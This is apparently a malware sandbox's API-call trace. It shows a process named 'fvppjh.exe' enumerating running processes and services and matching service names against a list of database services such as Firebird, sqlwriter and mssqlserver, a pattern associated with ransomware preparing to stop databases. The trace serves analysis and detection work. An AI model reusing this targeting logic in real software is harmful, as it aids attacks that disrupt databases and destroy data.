	[0177.181] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.182] lstrlenW (lpString="svchost.exe") returned 11
	[0177.182] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.182] lstrlenW (lpString="svchost.exe") returned 11
	[0177.182] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.183] lstrlenW (lpString="svchost.exe") returned 11
	[0177.183] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.183] lstrlenW (lpString="svchost.exe") returned 11
	[0177.183] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.184] lstrlenW (lpString="svchost.exe") returned 11
	[0177.184] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.184] lstrlenW (lpString="svchost.exe") returned 11
	[0177.184] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.185] lstrlenW (lpString="svchost.exe") returned 11
	[0177.185] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0177.185] lstrlenW (lpString="spoolsv.exe") returned 11
	[0177.185] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.186] lstrlenW (lpString="svchost.exe") returned 11
	[0177.186] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0177.270] lstrlenW (lpString="audiodg.exe") returned 11
	[0177.270] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0177.270] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0177.270] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0177.280] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0177.280] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0177.282] lstrlenW (lpString="Memory Compression") returned 18
	[0177.282] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0177.282] lstrlenW (lpString="sihost.exe") returned 10
	[0177.282] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.283] lstrlenW (lpString="svchost.exe") returned 11
	[0177.283] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0177.283] lstrlenW (lpString="taskhostw.exe") returned 13
	[0177.283] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0177.284] lstrlenW (lpString="taskhostw.exe") returned 13
	[0177.284] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0177.284] lstrlenW (lpString="explorer.exe") returned 12
	[0177.284] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0177.285] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0177.285] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0177.285] lstrlenW (lpString="SearchUI.exe") returned 12
	[0177.285] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0177.286] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0177.286] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0177.286] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0177.286] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0177.287] lstrlenW (lpString="fvppjh.exe") returned 10
	[0177.287] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0177.287] lstrlenW (lpString="cmd.exe") returned 7
	[0177.287] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.288] lstrlenW (lpString="conhost.exe") returned 11
	[0177.288] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0177.288] lstrlenW (lpString="consent.exe") returned 11
	[0177.288] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0177.289] lstrlenW (lpString="dllhost.exe") returned 11
	[0177.289] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0177.289] CloseHandle (hObject=0x570) returned 1
	[0177.289] Sleep (dwMilliseconds=0x1f4) 
	[0178.149] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0520
	[0178.288] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0178.289] GetLastError () returned 0xea
	[0178.289] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0178.290] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0178.290] CloseServiceHandle (hSCObject=0x41c0520) returned 1
	[0178.292] lstrlenW (lpString="Appinfo") returned 7
	[0178.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0178.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0178.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0178.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0178.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0178.321] lstrlenW (lpString="AppXSvc") returned 7
	[0178.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.321] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0178.322] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0178.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0178.322] lstrlenW (lpString="Audiosrv") returned 8
	[0178.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0178.322] lstrlenW (lpString="BFE") returned 3
	[0178.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0178.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0178.322] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0178.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0178.322] lstrlenW (lpString="CDPSvc") returned 6
	[0178.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.322] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0178.322] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0178.323] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0178.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0178.323] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0178.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0178.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0178.323] lstrlenW (lpString="CryptSvc") returned 8
	[0178.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0178.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0178.323] lstrlenW (lpString="DcomLaunch") returned 10
	[0178.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0178.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0178.324] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0178.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0178.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0178.324] lstrlenW (lpString="Dhcp") returned 4
	[0178.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0178.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0178.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0178.324] lstrlenW (lpString="Dnscache") returned 8
	[0178.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0178.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0178.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0178.324] lstrlenW (lpString="DPS") returned 3
	[0178.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0178.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0178.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0178.324] lstrlenW (lpString="DusmSvc") returned 7
	[0178.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0178.325] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0178.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0178.325] lstrlenW (lpString="EventLog") returned 8
	[0178.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0178.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0178.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0178.325] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0178.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0178.325] lstrlenW (lpString="EventSystem") returned 11
	[0178.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0178.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0178.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0178.325] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0178.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0178.325] lstrlenW (lpString="FontCache") returned 9
	[0178.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0178.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0178.326] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0178.326] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0178.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0178.326] lstrlenW (lpString="gpsvc") returned 5
	[0178.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0178.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0178.326] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0178.326] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0178.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0178.326] lstrlenW (lpString="iphlpsvc") returned 8
	[0178.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.326] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0178.326] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0178.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0178.326] lstrlenW (lpString="KeyIso") returned 6
	[0178.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0178.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0178.326] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0178.326] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0178.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0178.326] lstrlenW (lpString="LanmanServer") returned 12
	[0178.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0178.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0178.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0178.327] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0178.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0178.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0178.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0178.327] lstrlenW (lpString="lfsvc") returned 5
	[0178.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0178.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0178.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0178.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0178.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0178.327] lstrlenW (lpString="lmhosts") returned 7
	[0178.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0178.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0178.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0178.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0178.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0178.327] lstrlenW (lpString="LSM") returned 3
	[0178.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0178.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0178.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0178.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0178.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0178.328] lstrlenW (lpString="MpsSvc") returned 6
	[0178.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0178.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0178.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0178.492] lstrlenW (lpString="NcbService") returned 10
	[0178.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0178.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0178.493] lstrlenW (lpString="netprofm") returned 8
	[0178.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0178.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0178.493] lstrlenW (lpString="NgcSvc") returned 6
	[0178.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
